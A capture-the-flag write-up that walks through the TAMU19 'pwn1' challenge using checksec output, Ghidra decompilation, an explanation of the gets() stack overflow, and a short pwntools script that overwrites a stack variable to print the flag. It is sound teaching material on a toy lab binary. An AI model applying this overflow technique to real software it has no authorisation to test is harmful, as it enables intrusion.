Tamu19 CTF Writeup - Pwn1
Exploring the first Pwn challenge from Tamu19 CTF.
The challenge binary is available with a comprehensive writeup at aguyinatuxedos fantastic repository.
Initial binary checks reveal the following:
┌──(inspired㉿working)-[/opt/nightmare/tamu19_pwn1]
└─$ pwn checksec pwn1
[*] '/opt/nightmare/tamu19_pwn1/pwn1'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
┌──(inspired㉿working)-[/opt/nightmare/tamu19_pwn1]
└─$ file pwn1
pwn1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped
Running the binary, it appears we're asked for a name but we'll have to do some digging to workout how to pass this test.
┌──(inspired㉿working)-[/opt/nightmare/tamu19_pwn1]
└─$ ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
test
I don't know that! Auuuuuuuugh!
Let's open in in Ghidra and examine the decompiled code. The main function is available to view easily as the binary is not stripped.
undefined4 main(void)
{
int iVar1;
char local_43 [43];
int local_18;
undefined4 local_14;
undefined *local_10;
local_10 = &stack0x00000004;
setvbuf(stdout,(char *)0x2,0,0);
local_14 = 2;
local_18 = 0;
puts(
"Stop! Who would cross the Bridge of Death must answer me these questions three, ere theother side he see."
);
puts("What... is your name?");
fgets(local_43,0x2b,stdin);
iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n");
if (iVar1 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("What... is your quest?");
fgets(local_43,0x2b,stdin);
iVar1 = strcmp(local_43,"To seek the Holy Grail.\n");
if (iVar1 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("What... is my secret?");
gets(local_43);
if (local_18 == -0x215eef38) {
print_flag();
}
else {
puts("I don\'t know that! Auuuuuuuugh!");
}
return 0;
}
So we can immediately see that there is a comparison on our first input using strcmp
to check whether our input, which is read in via stdin
into local_43
, is equal to Sir Lancelot of Camelot
.
puts("What... is your name?");
fgets(local_43,0x2b,stdin);
iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n");
if (iVar1 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
This is immediately followed by another question, which has a similar way of answering. It simply checks if the next response is equal to To seek the Holy Grail
. Monty Python, anyone?!
puts("What... is your quest?");
fgets(local_43,0x2b,stdin);
iVar1 = strcmp(local_43,"To seek the Holy Grail.\n");
if (iVar1 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
Finally, it asks for a secret, where this is no longer as simple. It takes in the value of local_43
again but this time with gets
, rather than fgets
. The issue here is that fgets
allows for the input to be tied down to a specific format, as we saw above, from stdin
and with a max size allocated of 0x2b
. With gets
alone, it does not check for a buffer length, meaning if you overwrite the size of the input variable then you can overflow into other areas of the code. This is how we will exploit the comparison.
After taking in local_43
, the code checks if local_18
is equal to 0xdea110c8
, as seen in the assembly.
We can see from the start of the variable definitions that our local_43
variable starts at -0x43
and the local_18
variable starts at -0x18
on the stack. This means there is a difference 0x2b
between them. Therefore, if we fill up our buffer with 0x2b * junk
then we should be able to continue writing into the next variable on the stack, which will be 0x18
.
Let's chuck together a script with Pwntools that answers the questions and sends what we think the exploit code will be, based on what we have just deduced from the above.
from pwn import *
p = process('./pwn1')
exploit = b'A' * 0x2b
exploit += p32(0xdea110c8)
exploit += b'\n'
print(p.recvline())
print(p.recvline())
p.send('Sir Lancelot of Camelot\n')
print(p.recvline())
p.send('To seek the Holy Grail.\n')
print(p.recvline())
p.send(exploit)
#Print the flags
print(p.recvline())
print(p.recvline())
Running this code successfully prints the flag file, indicating that we've overflown into the target binary just by examining the assembly code within Ghidra. Nice!